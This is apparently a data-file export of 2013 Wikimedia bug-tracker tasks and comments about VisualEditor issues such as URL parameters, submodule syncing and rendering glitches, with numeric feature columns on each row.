+*** This bug has been marked as a duplicate of bug 48387 ***",,,1370883912,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdm6ddtjkbpjvqclln2i,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+51336,Inconsistency in the URL (veaction=edit disappears),"To edit an article using the VE, the URL is ""...?veaction=edit"".
+
+But, by loading the page with the VE, the URL is changed and becomes the same than the one to display the article.
+
+There is consequently an inconsistency between the URL and the page content.
+
+""?veaction=edit"" and all other URL parameters should not be changed/removed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1370689740,1370840639.0,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,False,PHID-TASK-n7737xkjqezrnwwaava3,task_description,resolved,True,c1,2,False,False,True,-4,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0
+247540,Inconsistency in the URL (veaction=edit disappears),"This is being done as part of bug 43844.
+
+Instead of letting it stay, we're going to enforce it even when not there.
+
+veaction=edit was originally (and still is) only used to start VisualEditor by url.
+
+When starting it from within MediaWiki by clicking ""Edit"" when reading an article, it never used veaction=edit.
+
+Bug 43844 asks for consistent url reflection of state in both directions.
+
+*** This bug has been marked as a duplicate of bug 43844 ***",,,1370840639,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-n7737xkjqezrnwwaava3,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+51084,Configure beta and MW.org to have $wgVisualEditorEnableExperimentalCode = true;,"VisualEditor's new features should be exposed for testing outside of our local development environments.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1370270880,1370741026.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-f22y5n2hutfcuixay276,task_description,resolved,True,c1,1,True,False,True,-4,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+232785,Configure beta and MW.org to have $wgVisualEditorEnableExperimentalCode = true;,Done on 2013-06-06.,,,1370741026,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-f22y5n2hutfcuixay276,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+232781,Configure beta and MW.org to have $wgVisualEditorEnableExperimentalCode = true;,"(In reply to comment #1)
+> And the test and MW.org wikis.
+
+Per Timo's comments, only on MW.org not test.",,,1370288193,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-f22y5n2hutfcuixay276,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+232776,Configure beta and MW.org to have $wgVisualEditorEnableExperimentalCode = true;,And the test and MW.org wikis.,,,1370286285,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-f22y5n2hutfcuixay276,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+50893,Various submodules in mediawiki/extensions are not being automatically updated,"I updated the translations of several VisualEditor messages in translatewiki.net. The changes were committed to Gerrit, and it looks like LocalisationUpdate ran several times since then, but I still don't see them on the Hebrew Wikipedia.
+
+For example, let's take the message Visualeditor-linkinspector-suggest-matching-page:
+
+1. Update in transatewiki.net: https://translatewiki.net/w/i.php?title=MediaWiki%3AVisualeditor-linkinspector-suggest-matching-page%2Fhe&diff=4721642&oldid=4682586
+
+2. Commit to Gerrit: https://gerrit.wikimedia.org/r/#/c/63552/1/VisualEditor.i18n.php (line 1661)
+
+3. Still not updated in he.wikipedia: https://he.wikipedia.org/w/index.php?title=Special:AllMessages&prefix=visu&filter=modified&lang=he&limit=5000
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1369745520,1374227951.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_description,resolved,True,c1,1,False,False,True,-5,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1
+226321,Various submodules in mediawiki/extensions are not being automatically updated,"The issue is on Gerrit side.   The check-sync.sh of mediawiki/extensions.git let us detect such issue.
+
+Follow up on bug 49846 mediawiki/extensions.git does not update some extensions
+
+*** This bug has been marked as a duplicate of bug 49846 ***",,,1374227951,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+226316,Various submodules in mediawiki/extensions are not being automatically updated,"So VisualEditor was fixed with some manual database poking, and a number of the others seem to have been fixed too. Thanks ^demon!
+
+On the other hand, a number of others seem to be newly broken. The current list is: AutoCreateCategoryPages Bootstrap Campaigns CirrusSearch CommunityTwitter CoreEvents EImage Less OpenStreetMapSlippyMap PerPageLicense QuickResponse TimelineTable WikibaseDataModel WikibaseQueryEngine
+
+
+If you have a fully checked-out version of mediawiki/extensions (git pull && git submodule update --init --recursive), this bash script should tell you the submodules that aren't at master:
+
+  for m in `sed -n 's/\[submodule ""\(.*\)""\]/\1/p' .gitmodules | sort`; do (
+      cd $m;
+      A=`git log -1 --format=""%h %ci %s""`;
+      B=`git log -1 --format=""%h %ci %s"" origin/master`;
+      [ ""$A"" = ""$B"" ] || echo $m
+  ); done
+
+Of course, that won't catch anything that hasn't had a commit since being broken, if such a state is possible. If you want to see info on the actual commits, BTW, you can change 'echo $m' in there to something like 'echo -e ""$m\n  $A\n  $B""'.",,,1371841158,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_subcomment,,True,c1,2,False,,,-2,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,1
+226310,Various submodules in mediawiki/extensions are not being automatically updated,"(In reply to comment #0)
+> For example, let's take the message
+> Visualeditor-linkinspector-suggest-matching-page:
+
+That one arrived.
+
+(In reply to comment #2)
+> Also, I did some further checking and found some other submodules also
+> affected. The full list is: EImage MagicNoCache MyVariables
+> NamespaceRelations
+> OpenStreetMapSlippyMap PHPExcel PerPageLicense TimelineTable VisualEditor
+
+I don't know if it's related, but the most obvious place where I saw recent changes being unreported is https://github.com/wikimedia/mediawiki-extensions which at some point reported a bunch of extensions as last edited ""6 months ago"" when they obviously weren't.",,,1371066634,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,1,1
+226304,Various submodules in mediawiki/extensions are not being automatically updated,"(In reply to comment #1)
+> 
+> We'll see if Gerrit change #65818 (manually updating the submodule to master)
+> will convince the automatic updating to start working again.
+
+It didn't.
+
+Also, I did some further checking and found some other submodules also affected. The full list is: EImage MagicNoCache MyVariables NamespaceRelations OpenStreetMapSlippyMap PHPExcel PerPageLicense TimelineTable VisualEditor
+
+It'll probably take someone either checking Gerrit's logs or digging through Gerrit's code to find out what exactly is making it not update these modules.",,,1369937612,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_subcomment,,True,c1,1,False,,,-5,,1,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+226296,Various submodules in mediawiki/extensions are not being automatically updated,"The problem seems to be that the VisualEditor submodule in mediawiki/extensions hasn't been being automatically updated for some reason.
+
+We'll see if gerrit change 65818 (manually updating the submodule to master) will convince the automatic updating to start working again.",,,1369755874,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_subcomment,,True,c1,1,False,,,-5,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+50669,"VisualEditor misrepresents linked files as embedded inline, when editing","**Author:** `swalling`
+
+**Description:**
+Placing a colon before a File: link in MediaWiki should link to the file, without displaying it in the page. While VisualEditor correctly represents this text in read-mode, when it editing it displays thumbnails for the linked images instead of the link and text. (Screenshots of the error and associated markup to be attached.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1369114380,1369114571.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6nrh4cee4ez6cwykweo5,task_description,resolved,True,c1,1,False,False,True,-6,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+212529,"VisualEditor misrepresents linked files as embedded inline, when editing","
+
+*** This bug has been marked as a duplicate of bug 48387 ***",,,1369114571,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6nrh4cee4ez6cwykweo5,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+212525,"VisualEditor misrepresents linked files as embedded inline, when editing","**swalling** wrote:
+
+Screenshot of markup
+
+**Attached**: {F10438}",,,1369114456,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6nrh4cee4ez6cwykweo5,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+212519,"VisualEditor misrepresents linked files as embedded inline, when editing","**swalling** wrote:
+
+Edit mode, with incorrect thumbnails
+
+**Attached**: {F10437}",,,1369114431,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6nrh4cee4ez6cwykweo5,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+50658,Enable section-editing on 'beta' profile of VisualEditor deployments,"(This is only for action in the immediate run-up to VisualEditor deployment as beta.)
+
+The section edit links should point to VE rather than the wikitext editor as part of the 'being the default editor' schtick. This should only apply to wikis with VE on 'beta' rather than remaining on 'alpha'.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1369078800,1371169125.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4ottk5yqyncneqh7goju,task_description,resolved,True,c1,1,True,False,True,-6,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+211833,Enable section-editing on 'beta' profile of VisualEditor deployments,Done today.,,,1371169125,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4ottk5yqyncneqh7goju,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+50645,MediaWiki:Visualeditor-feedback-link doesn't use wiki language,"Feedback gets submitted to a page given by the message MediaWiki:Visualeditor-feedback-link. The link can differ from language to language.
+But feedback gets submitted to the link for the user-chosen interface language, not the wiki/content language and so hitting different pages.
+
+ex.:
+german interface: https://de.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/R%C3%BCckmeldungen&diff=prev&oldid=118691535
+english interface: https://de.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=prev&oldid=118691557
+
+This may apply to other messages as well
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Needs Triage,90.0,1369067700,1369068249.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,,False,PHID-TASK-q6etjfxib3te52jrdbqh,task_description,resolved,True,c1,1,False,False,True,-6,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+211099,MediaWiki:Visualeditor-feedback-link doesn't use wiki language,"
+
+*** This bug has been marked as a duplicate of bug 47730 ***",,,1369068249,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q6etjfxib3te52jrdbqh,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+50596,VisualEditor expanding image links,"Screenshot of the English Wikipedia using VisualEditor, 2013-05-18
+
+VisualEditor seems to be expanding certain image links. Screenshot attached.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11087}",Needs Triage,90.0,1368849600,1368979809.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-f54j3i3yobgyvswaikfo,task_description,resolved,True,c1,1,False,False,True,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+233284,VisualEditor expanding image links,"
+
+*** This bug has been marked as a duplicate of bug 48387 ***",,,1368979809,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f54j3i3yobgyvswaikfo,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+50558,"VisualEditor: API doesn't suggest thinks for string length <= 2, so don't show the suggestions box for links/categories/etc.?","Not sure how to proceed on this one.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1368746160,1368747382.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-a6xscw7mjvhcbwgufh5y,task_description,invalid,True,c1,1,True,False,True,-7,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+230862,"VisualEditor: API doesn't suggest thinks for string length <= 2, so don't show the suggestions box for links/categories/etc.?",Apparently it does and MW was just being unhelpful. Ignore.,,,1368747382,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-a6xscw7mjvhcbwgufh5y,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+50527,List looks like it has extra empty lines,"1. Edit http://en.wikipedia.org/wiki/Refrigerator
+2. Look at the list in paragraph ""Production by country""
+
+The list has extra empty lines, some with a bullet, some without.
+
+The saved wikicode is OK, though.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1368684120,1369080566.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-zfww4nd7axazvbfkd7qj,task_description,invalid,True,c1,1,False,False,True,-7,,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+229016,List looks like it has extra empty lines,"Oh, I see, my bad, I should have checked the wikicode! :-)",,,1369104667,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-zfww4nd7axazvbfkd7qj,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+229011,List looks like it has extra empty lines,"This is not a bug; the actual wikitext of the article has multiple lists with (admittedly hard-to-notice) gaps between them:
+
+> […]
+> *20 South Africa	 	711,000<ref name=""statinfo.biz""/> (2003)
+> *21 Sweden	 	639,000<ref name=""statinfo.biz""/> (2004)
+> 
+> *22 Ukraine	 	562,000<ref name=""statinfo.biz""/> (1995)
+> *23 France	 	544,000<ref name=""statinfo.biz""/> (2003)
+> *24 Australia	 	423,000<ref name=""statinfo.biz""/> (1995)
+> 
+> *25	Portugal	 	399,000<ref name=""statinfo.biz""/>	(2004)	
+> *26	Bulgaria	 	353,000<ref name=""statinfo.biz""/>	(2005)
+> […]
+
+In VisualEditor these gaps between lists are much more prominent because we need to give the user somewhere obvious to insert their cursor, but this is ""behaviour as expected"". Closing as INVALID.
+
+(BTW, I just went and fixed the wikitext in a personal capacity, because it was so awful. :-))",,,1369080566,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zfww4nd7axazvbfkd7qj,task_subcomment,,True,c1,1,True,,,-6,,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1
+50523,Parsoid: Expose order of template parameters call,"VisualEditor is currently unable to display the parameters in the template editor in the same order as the wikitext because they are provided as a plain object.
+
+And per the JSON specification (and as proven by inconsistent behaviour in different browsers), objects are ""an unordered set of name/value pairs""[1].
+
+And even if JSON would support it, once in javascript, we have the for-in statement and Object.keys() which do not have a reliable cross-browser logic for the order of the keys.
+
+Though Parsoid is able to roundtrip the order (since it has the original wikitext and can put them in the right order), we can't.
+
+I'd recommend the output is updated to output an array of some kind.
+
+So instead of :
+ { foo: bar, bar: quux }
+
+It'd be something like this:
+
+ [ { foo: bar }, { bar: quux } ]
+
+or (Trevor's idea):
+
+ { keys: ['foo', 'bar'], values: ['bar', 'quux' ] }
+
+
+[1] http://json.org/
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1368662520,1368662919.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-a6lxhzu2xrx5tgje6umc,task_description,declined,True,c1,1,True,False,True,-7,,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1
+228822,Parsoid: Expose order of template parameters call,"Only the name of parameters is significant, the order is a syntactic detail. You can do a numeric sort on numeric parameter names for UI purposes, but generally our API only talks about named parameters.",,,1368662919,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a6lxhzu2xrx5tgje6umc,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+50489,VisualEditor: Can not paste new link anchor,"If you try to change a link anchor by pasting plain text over the old anchor (or part of the old one), it won't work.  The new text will just stay plain.
+
+You can't use the link dialog for this either, since there is no anchor field.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1368583740,1368726943.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-h57f3cph7qycjnbwjvnw,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+226420,VisualEditor: Can not paste new link anchor,"**jiabao.foss** wrote:
+
+That's very nice of you! I would love to investigate this bug.",,,1368805529,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,False,,,-7,,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+226411,VisualEditor: Can not paste new link anchor,"(In reply to comment #4)
+> Sorry that I did not know the link inspector could be rich text. Now looking
+> forward to the new deployment of VE. It will be nice to read the solution, on
+> the problem which I have worked on but did not get a good solution. Thank you
+> for the reviews and explanations. I learned a lot from this attempt. :)
+
+Thank you for trying! If you want to get your teeth into something in VisualEditor relatively self-contained, but still touching on a considerable amount of the codebase (and which would be really great to have done), bug 47328 could be a good challenge. Will leave a comment there suggesting an approach.",,,1368771998,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,True,,,-7,,0,1,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+226402,VisualEditor: Can not paste new link anchor,"**jiabao.foss** wrote:
+
+Sorry that I did not know the link inspector could be rich text. Now looking forward to the new deployment of VE. It will be nice to read the solution, on the problem which I have worked on but did not get a good solution. Thank you for the reviews and explanations. I learned a lot from this attempt. :)",,,1368767327,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
